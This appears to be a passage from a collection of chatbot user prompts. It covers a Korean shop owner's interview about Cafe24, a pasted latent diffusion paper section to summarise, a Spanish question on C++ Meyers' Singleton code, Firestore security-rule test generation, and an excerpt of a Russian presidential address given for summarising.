early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.' -'aha I got it right thank you. I will continue to deliver the latter part of the thesis. Read it and ask for a summary!\n\n Method\nTo lower the computational demands of training diffusion models towards high-resolution image synthesis, we\nobserve that although diffusion models allow to ignore\nperceptually irrelevant details by undersampling the corresponding loss terms [30], they still require costly function\nevaluations in pixel space, which causes huge demands in\ncomputation time and energy resources.\nWe propose to circumvent this drawback by introducing\nan explicit separation of the compressive from the generative learning phase (see Fig. 2). To achieve this, we utilize\nan autoencoding model which learns a space that is perceptually equivalent to the image space, but offers significantly\nreduced computational complexity.\nSuch an approach offers several advantages: (i) By leaving the high-dimensional image space, we obtain DMs\nwhich are computationally much more efficient because\nsampling is performed on a low-dimensional space. (ii) We\nexploit the inductive bias of DMs inherited from their UNet\narchitecture [71], which makes them particularly effective\nfor data with spatial structure and therefore alleviates the\nneed for aggressive, quality-reducing compression levels as\nrequired by previous approaches [23, 66]. (iii) Finally, we\nobtain general-purpose compression models whose latent\nspace can be used to train multiple generative models and\nwhich can also be utilized for other downstream applications such as single-image CLIP-guided synthesis [25].\n3.1. Perceptual Image Compression\nOur perceptual compression model is based on previous\nwork [23] and consists of an autoencoder trained by combination of a perceptual loss [106] and a patch-based [33]\nadversarial objective [20, 23, 103]. This ensures that the reconstructions are confined to the image manifold by enforcing local realism and avoids bluriness introduced by relying\nsolely on pixel-space losses such as L2 or L1 objectives.\nMore precisely, given an image x ∈ R\nH×W×3\nin RGB\nspace, the encoder E encodes x into a latent representation3\ntion z = E(x), and the decoder D reconstructs the image from the latent, giving x˜ = D(z) = D(E(x)), where\nz ∈ R\nh×w×c\n. Importantly, the encoder downsamples the\nimage by a factor f = H/h = W/w, and we investigate\nDifferent downsampling factors f = 2m, with m ∈ N.\nIn order to avoid arbitrarily high-variance latent spaces,\nwe experiment with two different kinds of regularizations.\nThe first variant, KL-reg., imposes a slight KL-penalty towards a standard normal on the learned latent, similar to a\nVAE [46, 69], whereas VQ-reg. uses a vector quantization\nlayer [96] within the decoder. This model can be interpreted\nas a VQGAN [23] but with the quantization layer absorbed\nby the decoder. Because our subsequent DM is designed\nto work with the two-dimensional structure of our learned\nIn latent space z = E(x), we can use relatively mild compression rates and achieve very good reconstructions. This is\nin contrast to previous works [23, 66], which relied on an\narbitrary 1D ordering of the learned space z to model its\ndistribution autoregressively and thereby ignored much of\nthe inherent structure of z. Hence, our compression model\npreserves details of x better (see Tab. 8). The full objective\nand training details can be found in the supplement.\n3.2. Latent Diffusion Models\nDiffusion Models [82] are probabilistic models designed to\nlearn a data distribution p(x) by gradually denoising a normally distributed variable, which corresponds to learning\nthe reverse process of a fixed Markov Chain of length T.\nFor image synthesis, the most successful models [15,30,72]\nrely on a reweighted variant of the variational lower bound\non p(x), which mirrors denoising score-matching [85].\nThese models can be interpreted as an equally weighted\nsequence of denoising autoencoders θ(xt, t); t = 1 . . . T,\nwhich are trained to predict a denoised variant of their input\nxt, where xt is a noisy version of the input x. The corresponding objective can be simplified to (Sec. B)\nLDM = Ex, ~N(0,1),th\nk − θ(xt, t)k\n2\n2\ni\n, (One)\nwith t uniformly sampled from {1, . . . , T}.\nGenerative Modeling of Latent Representations With\nour trained perceptual compression models consisting of E\nand D, we now have access to an efficient, low-dimensional\nlatent space in which high-frequency, imperceptible details\nare abstracted away. Compared to the high-dimensional\npixel space, this space is more suitable for likelihood-based\ngenerative models, as they can now (i) focus on the important, semantic bits of the data and (ii) train in a lower dimensional, computationally much more efficient space.\nUnlike previous work that believed on autoregressive,\nattention-based transformer models in a highly compressed,\nIn the discrete latent space [23,66,103], we can take advantage of\nimage-specific inductive biases that our model offers. This\nSemantic\nMap\ncrossattention\nLatent Space Conditioning\nText\nDiffusion Process\ndenoising step switch skip connection\nRepres\nentations\nPixel Space\nImages\nDenoising U-Net\nconcat\nFigure 3. We condition LDMs either via concatenation or by a\nmore general cross-attention mechanism. See Sec. 3.3\nincludes the ability to build the underlying UNet primarily from 2D convolutional layers, and further focusing the\nobjective on the perceptually most relevant bits using the\nreweighted bounds, which now reads\nLLDM := EE(x), ~N(0,1),th\nk − θ(zt, t)k\n2\n2\ni\n. (2)\nThe neural backbone θ(◦, t) of our model is realized as a\ntime-conditional UNet [71]. Since the forward process is\nfixed, zt can be efficiently obtained from E during training,\nand samples from p(z) can be decoded to image space with\na single pass through D.\n3.3. Conditioning Mechanisms\nSimilar to other types of generative models [56, 83],\nDiffusion models are in principle capable of modeling\nconditional distributions of the form p(z|y). This can\nbe implemented with a conditional denoising autoencoder\nθ(zt, t, y) and paves the way to controlling the synthesis\nprocess through inputs y such as text [68], semantic maps\n[33, 61] or other image-to-image translation tasks [34].\nIn the context of image synthesis, however, combining\nthe generative power of DMs with other types of conditionings beyond class-labels [15] or blurred variants of the input\nimage [72] is so far an under-explored area of \u200b\u200bresearch.\nWe turn DMs into more flexible conditional image generators by augmenting their underlying UNet backbone with\nthe cross-attention mechanism [97], which is effective for\nlearning attention-based models of various input modalities [35,36]. To pre-process y from various modalities (such as\nas language prompts) we introduce a domain specific encoder τθ that projects y to an intermediate representation\nτθ(y) ∈ RM×dτ\n, which is then mapped to the intermediate\nlayers of the UNet via a cross-attention layer implementing\nAttention(Q, K, V) = softmax\nQKT\n√\nd\n\x11\n· V , with\nQ = W\n(i)\nQ ϕi(zt), K = W\n(i)\nK τθ(y), V = W\n(i)\nV\n· τθ(y).\nHere, ϕi(zt) ∈ R\nN×d\ni\ndenotes a (flattened) intermediate\nrepresentation of the UNet implementing θ and W\n(i)\nV ∈\n4\nCelebAHQ FFHQ LSUN-Churches LSUN-Beds ImageNet\nFigure 4. Samples from LDMs trained on CelebAHQ [39], FFHQ [41], LSUN-Churches [102], LSUN-Bedrooms [102] and classconditional ImageNet [12], each with a resolution of 256 × 256. Best viewed when zoomed in. For more samples cf. the supplement.\nR\nd×d\ni\n, W\n(i)\nQ ∈ R\nd×dτ & W\n(i)\nK ∈ R\nd×dτ are learnable projection matrices [36, 97]. See Fig. 3 for a visual depiction.\nBased on image-conditioning pairs, we then learn the\nconditional LDM vias\nLLDM := EE(x),y, ~N(0,1),th\nk − θ(zt, t, τθ(y))k\n2\n2\ni\n, (3)\nwhere both τθ and θ are jointly optimized via Eq. 3.This\nThe conditioning mechanism is flexible as τθ can be parameterized with domain-specific experts, e.g. (unmasked) transformers [97] when y are text prompts' -'Este es un texto que explica el uso de la variante del patrón singleton conocida como Singleton de Meyer. \nMeyers\' Singleton\nThis implementation is named after its inventor, Scott Meyers. If the main problem with the static singleton is that it can be initialized later than its first use, then the solution must be to initialize the singleton when it is needed for the first time:\n\nclass Singleton {\n public:\n static Singleton& instance() {\n static Singleton inst;\n return inst;\n }\n\n int& get() { return value\\_; }\n\n private:\n Singleton() : value\\_(0) {\n std::cout << "Singleton::Singleton()" << std::endl;\n }\n Singleton(const Singleton&) = delete;\n Singleton& operator=(const Singleton&) = delete;\n ~Singleton() {\n std::cout << "Singleton::~Singleton()" << std::endl;\n }\n\n private:\n int value\\_;\n};\nThe Meyers\' Singleton has a private constructor, so it cannot be constructed by the program directly (in our example, we added a printout to the constructor, only to see when the singleton is initialized). Nor can the program make copies of the singleton object. Since the Meyers\' Singleton cannot be directly constructed by the program, it is again a zero handle objects implementation. The only way to access this singleton is through the Singleton::instance() static member function:\n\nint i = Singleton::instance().get();\n++Singleton::instance().get();\nThe Singleton::instance() function returns a reference to the singleton object, but which one, and when is it created? We can see from the preceding code that the return value is a reference to a local object defined in the body of the instance() function itself. Ordinarily, returning references to local objects is a serious programming error—these objects don\'t exist once the function completes. But the Meyers\' Singleton doesn\'t use an ordinary local object, but a local static object. Just like file-static objects, only one instance of the static object exists in the entire program. Unlike the file static objects, the function static objects are initialized the first time they are used; in our case, the first time the function is called. In pseudo-code, you can think of the function-static object like this:\n\nstatic bool initialized = false; // Hidden compiler-generated variable\n// Memory for the static object, uninitialized at first\nchar memory[sizeof(Singleton)]; \nclass Singleton {\n public:\n static Singleton& instance() {\n if (!initialized) { // Happens only once\n initialized = true;\n new (memory) Singleton; // Placement new\n // Calls Singleton constructor\n }\n // memory now contains a Singleton object\n return \\*(Singleton\\*)(memory);\n }\n ...\n};\nThis initialization of the singleton may occur after the program starts, or possibly long after, if the singleton is not used for a while. On the other hand, if another static object (not necessarily a singleton) uses our singleton object and requests a reference to it, the initialization is guaranteed to happen before the object can be used. This implementation is an example of lazy initialization—the initialization is deferred until it\'s needed (if the singleton object is not used at all in a particular run of the program, it will not be initialized at any point).\n\nOne possible concern about Meyers\' Singleton is its performance. While the initialization occurs only once, every call to Singleton::instance() must check whether the object is already initialized. We can measure the cost of this check by comparing the time it takes to access the instance for some operations, compared to the time it takes to call the same operations on an instance already stored in a reference:\n\nvoid BM\\_singleton(benchmark::State& state) {\n Singleton& S = Singleton::instance();\n for (auto \\_ : state) {\n REPEAT(benchmark::DoNotOptimize(++S.get());)\n }\n state.SetItemsProcessed(32\\*state.iterations());\n}\n\nvoid BM\\_singletons(benchmark::State& state) {\n for (auto \\_ : state) {\n REPEAT(benchmark::DoNotOptimize(++Singleton::instance().get());)\n }\n state.SetItemsProcessed(32\\*state.iterations());\n}\nHere, the first benchmark calls Singleton::instance() every time, while the second one calls the same member functions on the singleton, but accesses the instance only once. The difference between the two invocations shows us the cost of checking whether the singleton has to be initialized (the cost of the initialization itself is irrelevant, since the benchmark is executed many times, while the initialization happens only once):\nWe can see that the cost of the implementation of the function static variable is considerable, significantly greater than the cost of a simple operation on the singleton object (an integer increment, in our case). Therefore, if the singleton object is to be used extensively, it may be beneficial to store a reference to it, instead of requesting one every time. We can also see, thanks to the debug printouts we put in place earlier, that the singleton is indeed initialized the first time it is used—if the messages Running... and Run on... are printed by the program (by the main() function provided by the Google Benchmark library, to be exact), then the singleton is initialized. If the singleton used a file static object, the constructor would have been called before the program has a chance to print anything.\n\nNot to be confused with Meyers\' singleton is the following implementation:\n\nclass Singleton {\n public:\n static Singleton& instance() {\n return instance\\_;\n }\n\n int& get() { return value\\_; }\n\n private:\n Singleton() : value\\_(0) {\n std::cout << "Singleton::Singleton()" << std::endl;\n }\n ~Singleton() {\n std::cout << "Singleton::~Singleton()" << std::endl;\n }\n Singleton(const Singleton&) = delete;\n Singleton& operator=(const Singleton&) = delete;\n\n private:\n static Singleton instance\\_;\n int value\\_;\n};\nSingleton Singleton::instance\\_;\nWhile superficially similar, this implementation differs in the most important aspect—the time of initialization. The static instance is not a function static object, and is initialized with other static objects, regardless of whether it is used or not (eager initialization, as opposed to lazy initialization). The access to the singleton instance looks exactly the same as for Meyers\' Singleton, but there, the similarities end. In fact, this is just another variant of the static singleton, only instead of declaring every data member as static, we created a static instance of the object.\n\nWe can expect the performance to be similar to that of the static singleton, or that of the Meyers\' Singleton if we were to optimize the code to avoid repeated initialization checks:\nWe call the reader\'s attention to the timing of the construction again—this time, the constructor of the static singleton instance is called before the program has started to print its own messages.\n\nAn interesting variant of this implementation is a combination of the Meyers\' Singleton with the pimpl idiom, where the header file contains only the interface declarations, and the actual implementation, including the data members, is moved to a different class and hidden in the C file, with only a pointer to this implementation object declared in the header (hence the name, pointer to impl, or pimpl for short). This idiom is often used to reduce the compilation dependencies—if the implementation of the object changes, but the public API remains the same, then the header file remains unchanged and all files that depend on it do not need to be recompiled. In the case of the singleton, the combination of these two patterns looks like this:\n\n// In the header file:\nstruct SingletonImpl; // Forward declaration\nclass Singleton {\n public: // Public API\n int& get();\n private:\n static SingletonImpl& impl();\n};\n\n// In the C file:\nstruct SingletonImpl { // Client code does not care if this changes\n SingletonImpl() : value\\_(0) {}\n int value\\_; \n};\n\nint& Singleton::get() { return impl().value\\_; }\n\nSingletonImpl& Singleton::impl() {\n static SingletonImpl inst;\n return inst;\n}\nIn this implementation, the program can create any number of Singleton objects, but they all operate on the same implementation, accessed by the impl() method (in our case, this method returns a reference to the implementation, and not a pointer; nonetheless, we call it pimpl since it is fundamentally the same pattern). Note that we did not put any protection on the implementation class—since it is limited to one C file and is not used directly, only being used through the methods of the Singleton class, it is quite common to rely on the programmer\'s discipline instead.\n\nThe advantage of this implementation is a better separation between the interface and the implementation, which is the reason for any use of the pimpl idiom. The disadvantage is the extra level of indirection, and the performance overhead it adds. Also, note that it is no longer possible for the program to avoid the test for lazy initialization, since it is now hidden inside the implementation of the Singleton methods. It is possible to optimize the Singleton class to avoid the repeated initialization checks by storing a reference to the implementation in every object:\n\n// In the header file:\nstruct SingletonImpl;\nclass Singleton {\n public:\n Singleton();\n int& get();\n private:\n static SingletonImpl& impl();\n SingletonImpl& impl\\_; // Cached reference\n};\n\n// In the C file:\nstruct SingletonImpl {\n SingletonImpl() : value\\_(0) {}\n int value\\_;\n};\n\nSingleton::Singleton() : impl\\_(impl()) {}\n\nint& Singleton::get() { return impl\\_.value\\_; }\n\nSingletonImpl& Singleton::impl() { // Called once per object now\n static SingletonImpl inst;\n return inst;\n}\nThe singleton instance is now created the first time a Singleton object is constructed, instead of the first time its member function is called. Also, each Singleton object now has a reference data member, so we are using a bit more memory as a trade-off for increased performance:\nWe can see that the optimized implementation is on par with any of the lightweight implementations we considered earlier, while the straightforward pimpl implementation is significantly slower.\n\nAnother important consideration in modern programs is thread safety. In the case of the Meyers\' Singleton, the question of thread safety is non-trivial. The issue boils down to this: is the initialization of a local static variable thread-safe? The focus of our attention is this code:\n\nstatic Singleton& instance() {\n static Singleton inst;\n return inst;\n}\nThe actual code behind this C++ construct is fairly complex—there is a conditional check to see if the variable is already constructed, and a flag that is set when this code is executed for the first time. What happens if multiple threads call the instance() function at the same time? Do we have a guarantee that, for all threads, only one instance of the static object will be created? In C++11 and later standards, the answer is a definite yes. Prior to C++11, the standard did not guarantee any thread safety at all. This led to the proliferation of various alternative implementations that can still be found in examples online and in print. Such alternatives are many, and in general, they look something like this, with various combinations of locking thrown in:\n\nstatic bool initialized - false;\nstatic Singleton& instance() {\n if (!initialized) { ... initialize the instance under lock ... }\n return ... reference to the singleton instance ...\n}\nAt this point in time, such implementations are thoroughly obsolete and are, at most, of historical interest. We will not spend time explaining how they work, and whether they work correctly (many don\'t). There is no reason to do anything more than simply declare a local static variable and return a reference to it.\n\nAs we have explained before, the Meyers\' Singleton solves the problem of initialization order by initializing, on demand, the first time the object is used. Even if we have multiple singletons (of different types, of course) and they refer to one another, the objects will be initialized no later than they are needed. The problem of the initialization order is indeed solved. But that is not the only problem, as we will see next.\nQuiero que a partir de su contenido me expliques varias cosas. La primera: Esta parte de pseudocódigo, explica el modo en el que el compilador, implícitamente, crea una instancia del objeto Singleton, que no puede crearse directamente, al declararse su constructor como privado. El pseudocódigo es éste:\nstatic bool initialized = false; // Hidden compiler-generated variable\n// Memory for the static object, uninitialized at first\nchar memory[sizeof(Singleton)]; \nclass Singleton {\n public:\n static Singleton& instance() {\n if (!initialized) { // Happens only once\n initialized = true;\n new (memory) Singleton; // Placement new\n // Calls Singleton constructor\n }\n // memory now contains a Singleton object\n return \\*(Singleton\\*)(memory);\n }\n ...\n}; Puedes explicarme, para empezar lo que hace exactamente este pseudocódigo.' -'Q: Generate firestore rule test with following rule\n ```match /DirectChats/{directChatId} {\n function isAuthorizedDirectChat() {\n let ids = directChatId.split("\\_");\n\n return request.auth.uid != null && ids.size() == 2 && request.auth.uid in ids;\n }\n\n allow create, read, update: if isAuthorizedDirectChat();\n allow delete: if false;\n }```\n\nA: ```import { readFileSync } from "fs";\nimport { resolve } from "path";\nimport { deleteDoc, doc, getDoc, setDoc, updateDoc } from "firebase/firestore";\nimport {\n initializeTestEnvironment,\n RulesTestEnvironment,\n assertSucceeds,\n assertFails,\n} from "@firebase/rules-unit-testing";\n\nconst COLLECTION\\_NAME = "DirectChats";\n\nconst TEST\\_USER\\_ID = "test-user-id";\n\ndescribe("DirectChats 규칙 테스트", () => {\n let testEnv: RulesTestEnvironment;\n\n beforeAll(async () => {\n testEnv = await initializeTestEnvironment({\n projectId: "direct-chats-rule-test",\n firestore: {\n rules: readFileSync(resolve(\\_\\_dirname, "firestore.rules"), "utf-8"),\n },\n });\n });\n\n afterAll(async () => {\n await testEnv.cleanup();\n });\n\n afterEach(async () => {\n await testEnv.clearFirestore();\n });\n\n describe("인증이 없는 상태", () => {\n const DOCUMENT\\_ID = "test-direct-chat";\n\n test("Create를 할 수 없다.", async () => {\n const noAuth = testEnv.unauthenticatedContext();\n\n const docRef = doc(noAuth.firestore(), COLLECTION\\_NAME, DOCUMENT\\_ID);\n\n await assertFails(\n setDoc(docRef, {\n foo: "baz",\n })\n );\n });\n\n test("Read를 할 수 없다.", async () => {\n const noAuth = testEnv.unauthenticatedContext();\n\n const docRef = doc(noAuth.firestore(), COLLECTION\\_NAME, DOCUMENT\\_ID);\n\n await assertFails(getDoc(docRef));\n });\n\n test("Update를 할 수 없다.", async () => {\n const noAuth = testEnv.unauthenticatedContext();\n\n const docRef = doc(noAuth.firestore(), COLLECTION\\_NAME, DOCUMENT\\_ID);\n\n await assertFails(\n updateDoc(docRef, {\n foo: "baz",\n })\n );\n });\n\n test("Delete를 할 수 없다.", async () => {\n const noAuth = testEnv.unauthenticatedContext();\n\n const docRef = doc(noAuth.firestore(), COLLECTION\\_NAME, DOCUMENT\\_ID);\n\n await assertFails(deleteDoc(docRef));\n });\n });\n\n describe("인증이 있는 상태", () => {\n const AUTHORIZED\\_DOCUMENT\\_ID\\_1 = `${TEST\\_USER\\_ID}\\_abcdefg`;\n\n const AUTHORIZED\\_DOCUMENT\\_ID\\_2 = `abcdefg\\_${TEST\\_USER\\_ID}`;\n\n const UNAUTHORIZED\\_DOCUMENT\\_ID\\_1 = `${TEST\\_USER\\_ID}`;\n\n const UNAUTHORIZED\\_DOCUMENT\\_ID\\_2 = `${TEST\\_USER\\_ID}hello\\_abasdf`;\n\n describe("Create 테스트", () => {\n test("Document id에 auth user id가 \'\\_\' 로 나눠서 들어가면 Create에 성공한다.", async () => {\n const auth = testEnv.authenticatedContext(TEST\\_USER\\_ID);\n\n const firestore = auth.firestore();\n\n await assertSucceeds(\n setDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_1), {\n foo: "bar",\n })\n );\n\n await assertSucceeds(\n setDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_2), {\n foo: "bar",\n })\n );\n });\n\n test("Document id에 auth user id가 없다면 Create에 실패한다.", async () => {\n const auth = testEnv.authenticatedContext(TEST\\_USER\\_ID);\n\n const firestore = auth.firestore();\n\n await assertFails(\n setDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_1), {\n foo: "bar",\n })\n );\n\n await assertFails(\n setDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_2), {\n foo: "bar",\n })\n );\n });\n });\n\n describe("Read 테스트", () => {\n test("Document id에 auth user id가 \'\\_\' 로 나눠서 들어가면 Read에 성공한다.", async () => {\n const auth = testEnv.authenticatedContext(TEST\\_USER\\_ID);\n\n const firestore = auth.firestore();\n\n await assertSucceeds(getDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_1)));\n\n await assertSucceeds(getDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_2)));\n });\n\n test("Document id에 auth user id가 없다면 Read에 실패한다.", async () => {\n const auth = testEnv.authenticatedContext(TEST\\_USER\\_ID);\n\n const firestore = auth.firestore();\n\n await assertFails(getDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_1)));\n\n await assertFails(getDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_2)));\n });\n });\n\n describe("Update 테스트", () => {\n beforeEach(async () => {\n await testEnv.withSecurityRulesDisabled(async (ctx) => {\n const firestore = ctx.firestore();\n\n await Promise.all(\n [\n AUTHORIZED\\_DOCUMENT\\_ID\\_1,\n AUTHORIZED\\_DOCUMENT\\_ID\\_2,\n UNAUTHORIZED\\_DOCUMENT\\_ID\\_1,\n UNAUTHORIZED\\_DOCUMENT\\_ID\\_2,\n ].map((id) =>\n setDoc(doc(firestore, COLLECTION\\_NAME, id), {\n foo: "bar",\n })\n )\n );\n });\n });\n\n test("Document id에 auth user id가 \'\\_\' 로 나눠서 들어가면 Update에 성공한다.", async () => {\n const auth = testEnv.authenticatedContext(TEST\\_USER\\_ID);\n\n const firestore = auth.firestore();\n\n await assertSucceeds(\n updateDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_1), {\n foo: "jazz",\n })\n );\n\n await assertSucceeds(\n updateDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_2), {\n foo: "jazz",\n })\n );\n });\n\n test("Document id에 auth user id가 없다면 Update에 실패한다.", async () => {\n const auth = testEnv.authenticatedContext(TEST\\_USER\\_ID);\n\n const firestore = auth.firestore();\n\n await assertFails(\n updateDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_1), {\n foo: "jazz",\n })\n );\n\n await assertFails(\n updateDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_2), {\n foo: "jazz",\n })\n );\n });\n });\n\n describe("Delete 테스트", () => {\n test("delete를 할 수 없다", async () => {\n const auth = testEnv.authenticatedContext(TEST\\_USER\\_ID);\n\n const firestore = auth.firestore();\n\n await assertFails(deleteDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_1)));\n\n await assertFails(deleteDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_2)));\n\n await assertFails(deleteDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_1)));\n\n await assertFails(deleteDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_2)));\n });\n });\n });\n});```\n\nQ: ```match /GroupChats/{groupChatId} {\n function isJoinedGroupChat() {\n return request.auth.uid != null && exists(/databases/$(database)/documents/groupChatSessions/$(groupChatId)\\_$(request.auth.uid));\n }\n\n function isGroupChatOwner() {\n return isJoinedGroupChat() && get(/databases/$(database)/documents/groupChatSessions/$(groupChatId)\\_$(request.auth.uid)).data.role == \'owner\';\n }\n\n function isGroupChatBlockedUser() {\n return !isJoinedGroupChat() && exists(/databases/$(database)/documents/groupChatBlockedUsers/$(groupChatId)\\_$(request.auth.uid));\n }\n\n allow get: if true;\n\n allow list: if resource.data.scope == "public" || \n (resource.data.scope == "private" && isJoinedGroupChat());\n\n allow create: if isJoinedGroupChat();\n allow update: if isGroupChatOwner();\n allow delete: if false;\n\n match /GroupChatMessages/{groupChatMessageId} {\n allow read: if request.auth.uid != null;\n allow create: if isJoinedGroupChat();\n allow update: if false;\n allow delete: if request.auth.uid == resource.data.uid;\n }\n\n match /groupChatSessions/{groupChatSessionId} {\n allow read: if request.auth.uid != null;\n allow write: if !isGroupChatBlockedUser();\n allow update: if request.auth.uid == resource.data.uid;\n allow delete: if request.auth.uid == resource.data.uid || isGroupChatOwner();\n } \n\n match /groupChatBlockedUsers/{groupChatBlockedUserId} {\n allow read;\n allow update: if false;\n allow create, delete: if isGroupChatOwner();\n }\n }```\nA:3 / 3' -"Add the following text to the summary:\n\nWe all understand, and I understand also how unbearably hard it is for their wives, sons and daughters, for their parents who raised those dignified defenders of the Fatherland – like the Young Guard members from Krasnodon, young men and women who fought against Nazism and for Donbass during the Great Patriotic War. Everyone in Russia remembers their courage, resilience, enormous strength of spirit and self-sacrifice to this day.\n\nOur duty is to support the families that have lost their loved ones and to help them raise their children and give them an education and a job. The family of each participant in the special military operation must be a priority and treated with care and respect. Their needs must be responded to immediately, without bureaucratic delays.\n\nI suggest establishing a dedicated state fund for bringing targeted, personalised assistance to the families of fallen fighters, as well as veterans of the special military operation. This entity will be tasked with coordinating efforts to offer social, medical support and counselling, and also address matters related to sending them to health resorts and providing rehabilitation services, while also assisting them in education, sports, employment and in acquiring a new profession. This fund will also have an essential mission to ensure long-term home care and high-technology prosthetics for those who need that.\n\nI am asking the Government to work with the State Council Commission on Social Policy and with the regions to resolve the organisational matters as quickly as possible.\n\nThe state fund must be transparent in its work, while streamlining assistance and operating as a one-stop-shop, free from red tape or administrative barriers. Every family without exception, and every veteran will have their personal social worker, a coordinator, who will be there for them in person to resolve in real time any issue they might face. Let me emphasise that the fund must open its offices in all regions of the Russian Federation in 2023.\n\nWe already have measures in place for supporting Great Patriotic War veterans, combat veterans, as well as participants in local conflicts. I believe these essential elements will be added to the state fund’s mission moving forward. We need to explore this possibility, and I am asking the Government to do so.\n\nMake no mistake: the fact that we are establishing a state fund does not mean that other institutions or officials at other levels of government will be relieved of their responsibility. I expect all federal agencies, regions and municipalities to stay focused on veterans, on service personnel and their families. In this context, I would like to thank the senior regional officials, mayors, and governors who routinely meet with people, including by visiting the line of contact, and support their fellow countrymen.\n\nOn a special note, let me say that today, career service personnel, mobilised conscripts, and volunteers all share frontline hardships, including in terms of provisions, supplies and equipment, remuneration, and insurance payments to the wounded, as well as healthcare services. However, there are complaints that make it all the way to my office, as well as to the governors, as they have been telling me, and to the military prosecutor’s office and the Human Rights Commissioner, showing that some of these issues have yet to be resolved. We need to get to the bottom of each complaint on a case-by-case basis.\n\nAnd one more thing: everyone understands that serving in the special military operation zone causes immense physical and mental stress, since people risk their lives and health every day. For this reason, I believe that the mobilised conscripts, as well as all service personnel, and all those taking part in the special military operation, including volunteers, must benefit from a leave of absence of at least 14 days every six months without counting the time it takes them to travel to their destination. This way, every fighter will be able to meet family and spend time with their loved ones.\n\nColleagues, as you are aware, a 2021–2025 plan for building and developing the Armed Forces was approved by a Presidential Executive Order and is being implemented and adjusted as necessary. Importantly, our next steps to reinforce the Army and the Navy and to secure the current and future development of the Armed Forces must be based on actual combat experience gained during the special military operation, which is extremely important, I would even say absolutely invaluable to us.\n\nFor example, the latest systems account for over 91 percent, 91.3 percent, of Russia's nuclear deterrence forces. To reiterate, based on our newly acquired experience, we must access a similarly high quality level for all other components of the Armed Forces.\n\nOfficers and sergeants who act as competent, modern and decisive commanders, and they are many, will be promoted to higher positions as a matter of priority, sent to military universities and academies, and will serve as a powerful personnel reserve for the Armed Forces. Without a doubt, they are a valuable resource in civilian life and at governments at all levels. I just want our colleagues to pay attention to that. It is very important. The people must know that the Motherland appreciates their contribution to the defence of the Fatherland.\n\nWe will widely introduce the latest technology to ensure high-quality standards in the Army and Navy. We have corresponding pilot projects and samples of weapons and equipment in each area. Many of them are significantly superior to their foreign counterparts. Our goal is to start mass production. This work is underway and is picking up pace. Importantly, this relies on domestic research and the industrial base and involves small- and medium-sized high-tech businesses in implementation of the state defence order.\n\nToday, our plants, design bureaus and research teams employ experienced specialists and increasing numbers of talented and highly skilled young people who are oriented towards breakthrough achievements while remaining true to the tradition of Russian gunsmiths, which is to spare no effort to ensure victory.\n\nWe will certainly strengthen the guarantees for our workforce, in part concerning salaries and social security. I propose launching a special programme for low-cost rental housing for defence industry employees. The rental payments for them will be significantly lower than the going market rate, since a significant portion of it will be covered by the state.\n\nThe Government reviewed this issue. I instruct you to work through the details of this programme and start building such rental housing without delay, primarily, in the cities that are major defence, industrial and research centres.\n\nColleagues,\n\nAs I have already said, the West has opened not only military and informational warfare against us, but is also seeking to fight us on the economic front. However, they have not succeeded on any of these fronts, and never will. Moreover, those who initiated the sanctions are punishing themselves: they sent prices soaring in their own countries, destroyed jobs, forced companies to close, and caused an energy crisis, while telling their people that the Russians were to blame for all of this. We hear that.\n\nWhat means did they use against us in their efforts to attack us with sanctions? They tried disrupting economic ties with Russian companies and depriving the financial system of its communication channels to shutter our economy, isolate us from export markets and thus undermine our revenues. They also stole our foreign exchange reserves, to call a spade a spade, tried to depreciate the ruble and drive inflation to destructive heights.\n\nLet me reiterate that the sanctions against Russia are merely a means, while the aim as declared by the Western leaders, to quote them, is to make us suffer. “Make them suffer” – what a humane attitude. They want to make our people suffer, which is designed to destabilise our society from within.\n\nHowever, their gamble failed to pay off. The Russian economy, as well as its governance model proved to be much more resilient than the West thought. The Government, parliament, the Bank of Russia, the regions and of course the business community and their employees all worked together to ensure that the economic situation remained stable, offered people protection and preserved jobs, prevented shortages, including of essential goods, and supported the financial system and business owners who invest in their enterprises, which also means investing in national development.\n\nAs early as in March 2022, we launched a dedicated assistance package for businesses and the economy worth about a trillion rubles. I would like to draw your attention to the fact that this has nothing to do with printing money. Not at all. Everything we do is solidly rooted in market principles.\n\nIn 2022, there was a decline in the gross domestic product. Mr Mishustin called me to say, “I would like to ask you to mention this.” I think that these data were released yesterday, right on schedule.\n\nYou may remember that some predicted that the economy would shrink by 20 to 25 percent, or maybe 10 percent. Only recently, we spoke about a 2.9 percent decline, and I was the one who announced this figure. Later it came down to 2.5 percent. However, in 2022, the GDP declined by 2.1 percent, according to the latest data. And we must be mindful of the fact that back in February and March of last year some predicted that the economy would be in free fall.\n\nRussian businesses have restructured their logistics and have strengthened their ties with responsible, predictable partners – there are many of 